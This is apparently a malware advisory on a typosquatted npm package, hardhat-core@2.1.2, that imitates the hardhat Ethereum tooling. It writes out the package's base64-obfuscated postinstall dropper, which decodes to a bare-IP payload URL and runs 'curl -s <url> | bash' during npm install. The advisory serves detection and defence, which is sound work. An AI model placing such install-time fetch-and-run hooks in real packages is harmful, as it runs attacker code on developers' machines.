hardhat-core@2.1.2

Summary

package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL http://8.217.75.147:3000/payload and pipes the response into bash via curl -s <url> | bash. This fires automatically during npm install, executing attacker-controlled shell code fetched over plain HTTP from a hardcoded bare IP with no integrity verification. The package itself is empty (index.js exports {}) and its name impersonates the widely-used hardhat Ethereum tooling — the only purpose of installing it is to trigger the dropper. Three independent block signals are present: install-time curl|bash to a non-publisher bare IP, base64-obfuscated URL inside a lifecycle script, and a typosquat name with no real functionality serving as the lure.

Source: amazon-inspector (bb86c79e7ed3cd429c0f28bc08e00ce020df2ec42fdda086ad8bfca99f259930)